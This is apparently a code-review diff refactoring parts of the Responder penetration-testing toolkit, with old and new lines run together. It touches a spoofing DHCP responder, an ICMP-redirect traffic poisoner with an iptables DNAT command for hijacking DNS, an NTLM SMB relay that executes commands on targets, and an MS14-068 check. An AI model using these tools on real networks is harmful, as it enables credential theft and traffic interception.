def expand_ranges(lst): def expand_ranges(lst):

View file

@ -14,11 +14,9 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os import sys
import socket import os
import thread import thread
import struct
import time
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR) sys.path.insert(0, BASEDIR)
@ -29,7 +27,6 @@ from threading import Lock
from utils import * from utils import *
def ParseRoles(data): def ParseRoles(data):
if len(data) != 4: if len(data) != 4:
return '' return ''
@ -62,44 +59,11 @@ def ParseRoles(data):
'Domain Enum': (ord(data[3]) >> 7) & 1, 'Domain Enum': (ord(data[3]) >> 7) & 1,
} }
#print 'Workstation : ', AllRoles['Workstation'] return ', '.join(k for k,v in AllRoles.items() if v == 1)
#print 'Server : ', AllRoles['Server']
#print 'SQL : ', AllRoles['SQL']
#print 'Domain Controller : ', AllRoles['Domain Controller']
#print 'Backup Controller : ', AllRoles['Backup Controller']
#print 'Time Source : ', AllRoles['Time Source']
#print 'Apple : ', AllRoles['Apple']
#print 'Novell : ', AllRoles['Novell']
#print 'Member : ', AllRoles['Member']
#print 'Print : ', AllRoles['Print']
#print 'Dialin : ', AllRoles['Dialin']
#print 'Xenix : ', AllRoles['Xenix']
#print 'NT Workstation : ', AllRoles['NT Workstation']
#print 'WfW : ', AllRoles['WfW']
#print 'Unused : ', AllRoles['Unused']
#print 'NT Server : ', AllRoles['NT Server']
#print 'Potential Browser : ', AllRoles['Potential Browser']
#print 'Backup Browser : ', AllRoles['Backup Browser']
#print 'Master Browser : ', AllRoles['Master Browser']
#print 'Domain Master Browser : ', AllRoles['Domain Master Browser']
#print 'OSF : ', AllRoles['OSF']
#print 'VMS : ', AllRoles['VMS']
#print 'Windows 95+ : ', AllRoles['Windows 95+']
#print 'DFS : ', AllRoles['DFS']
#print 'Local : ', AllRoles['Local']
#print 'Domain Enum : ', AllRoles['Domain Enum']
Roles = []
for k,v in AllRoles.iteritems():
if v == 1:
Roles.append(k)
return ', '.join(Roles)
class BrowserListener(BaseRequestHandler): class BrowserListener(BaseRequestHandler):
def handle(self): def handle(self):
#try:
data, socket = self.request data, socket = self.request
lock = Lock() lock = Lock()
@ -129,14 +93,10 @@ class BrowserListener(BaseRequestHandler):
lock.release() lock.release()
#except Exception:
# pass
class ThreadingUDPServer(ThreadingMixIn, UDPServer): class ThreadingUDPServer(ThreadingMixIn, UDPServer):
def server_bind(self): def server_bind(self):
self.allow_reuse_address = 1 self.allow_reuse_address = 1
#self.socket.setsockopt(socket.SOL_SOCKET, 25, 'eth0\0')
UDPServer.server_bind(self) UDPServer.server_bind(self)
def serve_thread_udp_broadcast(host, port, handler): def serve_thread_udp_broadcast(host, port, handler):

View file

@ -16,8 +16,6 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys import sys
import struct import struct
import socket
import re
import optparse import optparse
import ConfigParser import ConfigParser
import os import os
@ -46,16 +44,13 @@ def color(txt, code = 1, modifier = 0):
if options.Interface is None: if options.Interface is None:
print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface." print color("[!]", 1, 1), "-I mandatory option is missing, please provide an interface."
exit(-1) exit(-1)
elif options.RouterIP is None:
if options.RouterIP is None:
print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP." print color("[!]", 1, 1), "-r mandatory option is missing, please provide the router's IP."
exit(-1) exit(-1)
elif options.DNSIP is None:
if options.DNSIP is None:
print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours." print color("[!]", 1, 1), "-p mandatory option is missing, please provide the primary DNS server ip address or yours."
exit(-1) exit(-1)
elif options.DNSIP2 is None:
if options.DNSIP2 is None:
print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours." print color("[!]", 1, 1), "-s mandatory option is missing, please provide the secondary DNS server ip address or yours."
exit(-1) exit(-1)
@ -230,22 +225,15 @@ def SpoofIP(Spoof):
return ROUTERIP if Spoof else Responder_IP return ROUTERIP if Spoof else Responder_IP
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
return False return False
elif RespondTo and ClientIp not in RespondTo:
if len(RespondTo) and ClientIp not in RespondTo:
return False return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo: if ClientIp not in DontRespondTo:
return True return True
return False return False
def IsUDP(data):
return True if data[0][23:24] == "\x11" else False
def ParseSrcDSTAddr(data): def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30]) SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34]) DstIP = socket.inet_ntoa(data[0][30:34])
@ -254,7 +242,7 @@ def ParseSrcDSTAddr(data):
return SrcIP, SrcPort, DstIP, DstPort return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data): def FindIP(data):
IP = ''.join(re.findall('(?<=\x32\x04)[^EOF]*', data)) IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
return ''.join(IP[0:4]) return ''.join(IP[0:4])
def ParseDHCPCode(data): def ParseDHCPCode(data):
@ -270,21 +258,17 @@ def ParseDHCPCode(data):
# DHCP Inform # DHCP Inform
if OpCode == "\x08": if OpCode == "\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP)) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=socket.inet_aton(CurrentIP))
Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP), \ Packet = DHCPInformACK(Tid=PTid, ClientMac=MacAddr, ActualClientIP=socket.inet_aton(CurrentIP),
GiveClientIP=socket.inet_aton("0.0.0.0"), \ GiveClientIP=socket.inet_aton("0.0.0.0"),
NextServerIP=socket.inet_aton("0.0.0.0"), \ NextServerIP=socket.inet_aton("0.0.0.0"),
RelayAgentIP=socket.inet_aton("0.0.0.0"), \ RelayAgentIP=socket.inet_aton("0.0.0.0"),
ElapsedSec=Seconds) ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68)) SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x03" and Respond_To_Requests: # DHCP Request
# DHCP Request
if OpCode == "\x03" and Respond_To_Requests:
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = socket.inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
@ -292,16 +276,11 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68))
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
elif OpCode == "\x01" and Respond_To_Requests: # DHCP Discover
# DHCP Discover
if OpCode == "\x01" and Respond_To_Requests:
IP = FindIP(data) IP = FindIP(data)
if IP: if IP:
IPConv = socket.inet_ntoa(IP) IPConv = socket.inet_ntoa(IP)
@ -309,12 +288,9 @@ def ParseDHCPCode(data):
IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP) IP_Header = IPHead(SrcIP = socket.inet_aton(SpoofIP(Spoof)), DstIP=IP)
Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds) Packet = DHCPACK(Tid=PTid, ClientMac=MacAddr, GiveClientIP=IP, DHCPOpCode="\x02", ElapsedSec=Seconds)
Packet.calculate() Packet.calculate()
Buffer = UDP(Data = Packet) Buffer = UDP(Data = Packet)
Buffer.calculate() Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex')) return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s Tid: %s' % (CurrentIP, RequestedIP, MacAddrStr, '0x'+PTid.encode('hex'))
def SendDHCP(packet,Host): def SendDHCP(packet,Host):
@ -329,7 +305,7 @@ if __name__ == "__main__":
while True: while True:
try: try:
data = s.recvfrom(65535) data = s.recvfrom(65535)
if IsUDP(data): if data[0][23:24] == "\x11": # is udp?
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67: if SrcPort == 67 or DstPort == 67:

View file

@ -21,7 +21,7 @@ import struct
import socket import socket
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))) sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMBHeader,SMB2Header, SMB2Nego, SMB2NegoData from packets import SMB2Header, SMB2Nego, SMB2NegoData
def GetBootTime(data): def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0]) Filetime = int(struct.unpack('<q',data)[0])
@ -35,12 +35,8 @@ def IsDCVuln(t):
if t[0] < Date: if t[0] < Date:
print "DC is up since:", t[1] print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068" print "This DC is vulnerable to MS14-068"
else:
print "DC is up since:", t[1] print "DC is up since:", t[1]
def NbtLen(data):
Len = struct.pack(">i", len(data))
return Len
def run(host): def run(host):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -52,7 +48,7 @@ def run(host):
Nego.calculate() Nego.calculate()
Packet = str(Header)+str(Nego) Packet = str(Header)+str(Nego)
Buffer = NbtLen(Packet)+Packet Buffer = struct.pack(">i", len(Packet)) + Packet
s.send(Buffer) s.send(Buffer)
try: try:

View file

@ -15,55 +15,47 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys,socket,struct,optparse,random,pipes import socket
import struct
import optparse
import pipes
from socket import * from socket import *
sys.path.append('../') sys.path.append('../')
from odict import OrderedDict from odict import OrderedDict
from random import randrange from random import randrange
from time import sleep from time import sleep
from subprocess import call from subprocess import call
from pipes import quote from packets import Packet
parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1',
prog=sys.argv[0], prog=sys.argv[0],
) )
parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP")
parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr")
parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP") parser.add_option('-t', '--target',action="store", help="The ip address of the target", metavar="10.20.30.48",dest="VictimIP")
parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost") parser.add_option('-r', '--route',action="store", help="The ip address of the destination target, example: DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost")
parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2") parser.add_option('-s', '--secondaryroute',action="store", help="The ip address of the destination target, example: Secondary DNS server. Must be on another subnet.", metavar="10.20.40.1",dest="ToThisHost2")
parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface") parser.add_option('-I', '--interface',action="store", help="Interface name to use, example: eth0", metavar="eth0",dest="Interface")
parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr") parser.add_option('-a', '--alternate',action="store", help="The alternate gateway, set this option if you wish to redirect the victim traffic to another host than yours", metavar="10.20.30.40",dest="AlternateGwAddr")
options, args = parser.parse_args() options, args = parser.parse_args()
if options.OURIP is None: if options.OURIP is None:
print "-i mandatory option is missing.\n" print "-i mandatory option is missing.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.OriginalGwAddr is None:
if options.OriginalGwAddr is None:
print "-g mandatory option is missing, please provide the original gateway address.\n" print "-g mandatory option is missing, please provide the original gateway address.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.VictimIP is None:
if options.VictimIP is None:
print "-t mandatory option is missing, please provide a target.\n" print "-t mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.Interface is None:
if options.Interface is None:
print "-I mandatory option is missing, please provide your network interface.\n" print "-I mandatory option is missing, please provide your network interface.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.ToThisHost is None:
if options.ToThisHost is None:
print "-r mandatory option is missing, please provide a destination target.\n" print "-r mandatory option is missing, please provide a destination target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
@ -81,26 +73,11 @@ ToThisHost2 = options.ToThisHost2
Interface = options.Interface Interface = options.Interface
def Show_Help(ExtraHelpData): def Show_Help(ExtraHelpData):
help = "\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n" print("\nICMP Redirect Utility 0.1.\nCreated by Laurent Gaffie, please send bugs/comments to laurent.gaffie@gmail.com\n\nThis utility combined with Responder is useful when you're sitting on a Windows based network.\nMost Linux distributions discard by default ICMP Redirects.\n")
help+= ExtraHelpData print(ExtraHelpData)
print help
MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP)
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def GenCheckSum(data): def GenCheckSum(data):
s = 0 s = 0
for i in range(0, len(data), 2): for i in range(0, len(data), 2):
@ -117,7 +94,6 @@ class EthARP(Packet):
("DstMac", "\xff\xff\xff\xff\xff\xff"), ("DstMac", "\xff\xff\xff\xff\xff\xff"),
("SrcMac", ""), ("SrcMac", ""),
("Type", "\x08\x06" ), #ARP ("Type", "\x08\x06" ), #ARP
]) ])
class ARPWhoHas(Packet): class ARPWhoHas(Packet):
@ -131,7 +107,6 @@ class ARPWhoHas(Packet):
("SenderIP", "\x00\xff\x53\x4d"), ("SenderIP", "\x00\xff\x53\x4d"),
("DstMac", "\x00\x00\x00\x00\x00\x00"), ("DstMac", "\x00\x00\x00\x00\x00\x00"),
("DstIP", "\x00\x00\x00\x00"), ("DstIP", "\x00\x00\x00\x00"),
]) ])
def calculate(self): def calculate(self):
@ -146,7 +121,6 @@ class Eth2(Packet):
("DstMac", ""), ("DstMac", ""),
("SrcMac", ""), ("SrcMac", ""),
("Type", "\x08\x00" ), #IP ("Type", "\x08\x00" ), #IP
]) ])
class IPPacket(Packet): class IPPacket(Packet):
@ -163,7 +137,6 @@ class IPPacket(Packet):
("SrcIP", ""), ("SrcIP", ""),
("DestIP", ""), ("DestIP", ""),
("Data", ""), ("Data", ""),
]) ])
def calculate(self): def calculate(self):
@ -184,13 +157,10 @@ class ICMPRedir(Packet):
("CheckSum", "\x00\x00"), ("CheckSum", "\x00\x00"),
("GwAddr", ""), ("GwAddr", ""),
("Data", ""), ("Data", ""),
]) ])
def calculate(self): def calculate(self):
#Set the values
self.fields["GwAddr"] = inet_aton(OURIP) self.fields["GwAddr"] = inet_aton(OURIP)
# Then CheckSum this packet
CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"])
self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc)

View file

@ -14,23 +14,11 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct, sys import struct
import sys
sys.path.append('../') sys.path.append('../')
from odict import OrderedDict from odict import OrderedDict
from packets import Packet
class Packet:
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
class SMBHeader(Packet): class SMBHeader(Packet):
fields = OrderedDict([ fields = OrderedDict([

View file

@ -14,13 +14,26 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys, os, struct,re,socket,random, RelayPackets,optparse,thread import sys
import random
import optparse
import thread
sys.path.append('../') sys.path.append('../')
from fingerprint import RunSmbFinger from fingerprint import RunSmbFinger
from odict import OrderedDict
from utils import longueur
from socket import * from socket import *
from RelayPackets import * from RelayPackets import *
from packets import *
from servers.SMB import *
from packets import Packet
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
def longueur(payload):
return struct.pack(">i", len(''.join(payload)))
def UserCallBack(op, value, dmy, parser): def UserCallBack(op, value, dmy, parser):
args=[] args=[]
@ -44,19 +57,16 @@ if options.CMD is None:
print "\n-c mandatory option is missing, please provide a command to execute on the target.\n" print "\n-c mandatory option is missing, please provide a command to execute on the target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.TARGET is None:
if options.TARGET is None:
print "\n-t mandatory option is missing, please provide a target.\n" print "\n-t mandatory option is missing, please provide a target.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
elif options.UserToRelay is None:
if options.UserToRelay is None:
print "\n-u mandatory option is missing, please provide a username to relay.\n" print "\n-u mandatory option is missing, please provide a username to relay.\n"
parser.print_help() parser.print_help()
exit(-1) exit(-1)
ResponderPATH = os.path.dirname(__file__) ResponderPATH = os.path.dirname(__file__)
# Set some vars.
UserToRelay = options.UserToRelay UserToRelay = options.UserToRelay
Domain = options.Domain Domain = options.Domain
Command = options.CMD Command = options.CMD
@ -67,25 +77,6 @@ print "\nResponder SMBRelay 0.1\nPlease send bugs/comments to: laurent.gaffie@gm
print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m' print '\033[31m'+'Use this script in combination with Responder.py for best results (remember to set SMB = Off in Responder.conf)..\nUsernames to relay (-u) are case sensitive.'+'\033[0m'
print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n' print 'To kill this script hit CRTL-C or Enter\nWill relay credentials for these users: '+'\033[1m\033[34m'+', '.join(UserToRelay)+'\033[0m\n'
class Packet:
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
#Logger
import logging
Logs = logging
Logs.basicConfig(filemode="w",filename='SMBRelay-Session.txt',format='',level=logging.DEBUG)
#Function used to verify if a previous auth attempt was made. #Function used to verify if a previous auth attempt was made.
def ReadData(outfile,Client, User, cmd=None): def ReadData(outfile,Client, User, cmd=None):
try: try:
@ -93,19 +84,14 @@ def ReadData(outfile,Client, User, cmd=None):
if cmd is None: if cmd is None:
String = Client+':'+User String = Client+':'+User
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return True return True
else:
return False return False
if cmd is not None: if cmd is not None:
String = Client+","+User+","+cmd String = Client+","+User+","+cmd
if re.search(String.encode('hex'), filestr.read().encode('hex')): if re.search(String.encode('hex'), filestr.read().encode('hex')):
filestr.close()
print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client) print "[+] Command: %s was previously executed on host: %s. Won't execute again.\n" %(cmd, Client)
return True return True
else:
return False return False
except: except:
raise raise
@ -123,7 +109,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var) Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username): if ReadData("SMBRelay-Session.txt", Client, Username):
print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) print "[+]Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay: if Username in UserToRelay:
print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print '%s sent a NTLMv2 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
print "Username : ",Username print "Username : ",Username
@ -135,7 +120,6 @@ def ParseHash(data,Client, Target):
Username, Domain = tuple(var) Username, Domain = tuple(var)
if ReadData("SMBRelay-Session.txt", Client, Username): if ReadData("SMBRelay-Session.txt", Client, Username):
print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client) print "Auth from user %s with host %s previously failed. Won't relay."%(Username, Client)
pass
if Username in UserToRelay: if Username in UserToRelay:
print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target) print '%s sent a NTLMv1 Response..\nVictim OS is : %s. Passing credentials to: %s'%(Client,RunSmbFinger((Client, 445)),Target)
LMHashing = data[65:65+LMhashLen].encode('hex').upper() LMHashing = data[65:65+LMhashLen].encode('hex').upper()
@ -145,9 +129,6 @@ def ParseHash(data,Client, Target):
return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client return data[65:65+LMhashLen],data[65+LMhashLen:65+LMhashLen+NthashLen],Username,Domain, Client
else: else:
print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay) print "'%s' user was not specified in -u option, won't relay authentication. Allowed users to relay are: %s"%(Username,UserToRelay)
pass
except Exception: except Exception:
raise raise
@ -157,12 +138,10 @@ def Is_Anonymous(data):
if LMhashLen == 0 or LMhashLen == 1: if LMhashLen == 0 or LMhashLen == 1:
print "SMB Anonymous login requested, trying to force client to auth with credz." print "SMB Anonymous login requested, trying to force client to auth with credz."
return True return True
else:
return False return False
def ParseDomain(data): def ParseDomain(data):
Domain = ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00' return ''.join(data[81:].split('\x00\x00\x00')[:1])+'\x00\x00\x00'
return Domain
#Function used to know which dialect number to return for NT LM 0.12 #Function used to know which dialect number to return for NT LM 0.12
def Parse_Nego_Dialect(data): def Parse_Nego_Dialect(data):

125
utils.py
View file

@ -21,7 +21,7 @@ import logging
import socket import socket
import time import time
import settings import settings
import struct
try: try:
import sqlite3 import sqlite3
except: except:
@ -29,76 +29,65 @@ except:
sys.exit(0) sys.exit(0)
def color(txt, code = 1, modifier = 0): def color(txt, code = 1, modifier = 0):
if txt.startswith('[*]'): if txt.startswith('[*]'):
settings.Config.PoisonersLogger.warning(txt) settings.Config.PoisonersLogger.warning(txt)
elif 'Analyze' in txt: elif 'Analyze' in txt:
settings.Config.AnalyzeLogger.warning(txt) settings.Config.AnalyzeLogger.warning(txt)
# No colors for windows... if os.name == 'nt': # No colors for windows...
if os.name == 'nt':
return txt return txt
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def text(txt): def text(txt):
logging.info(txt) logging.info(txt)
if os.name == 'nt': if os.name == 'nt':
return txt return txt
return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) return '\r' + re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt)
def IsOnTheSameSubnet(ip, net):
net += '/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def RespondToThisIP(ClientIp): def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'): if ClientIp.startswith('127.0.0.'):
return False return False
elif settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
if settings.Config.AutoIgnore and ClientIp in settings.Config.AutoIgnoreList:
print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp print color('[*]', 3, 1), 'Received request from auto-ignored client %s, not answering.' % ClientIp
return False return False
elif settings.Config.RespondTo and ClientIp not in settings.Config.RespondTo:
if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo:
return False return False
elif ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []:
if ClientIp not in settings.Config.DontRespondTo: if ClientIp not in settings.Config.DontRespondTo:
return True return True
return False return False
def RespondToThisName(Name): def RespondToThisName(Name):
if settings.Config.RespondToName and Name.upper() not in settings.Config.RespondToName:
if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName:
return False return False
elif Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []:
if Name.upper() not in settings.Config.DontRespondToName: if Name.upper() not in settings.Config.DontRespondToName:
return True return True
return False return False
def RespondToThisHost(ClientIp, Name): def RespondToThisHost(ClientIp, Name):
return RespondToThisIP(ClientIp) and RespondToThisName(Name) return RespondToThisIP(ClientIp) and RespondToThisName(Name)
def IsOsX():
return True if settings.Config.Os_version == "darwin" else False
def OsInterfaceIsSupported(): def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set": if settings.Config.Interface != "Not set":
return False if IsOsX() else True return not IsOsX()
else:
return False return False
def IsOsX(): def IsOsX():
Os_version = sys.platform return sys.platform == "darwin"
if Os_version == "darwin":
return True
else:
return False
def FindLocalIP(Iface, OURIP): def FindLocalIP(Iface, OURIP):
if Iface == 'ALL': if Iface == 'ALL':
return '0.0.0.0' return '0.0.0.0'
@ -112,40 +101,29 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0] ret = s.getsockname()[0]
s.close() s.close()
return ret return ret
else:
return OURIP return OURIP
except socket.error: except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1) print color("[!] Error: %s: Interface not found" % Iface, 1)
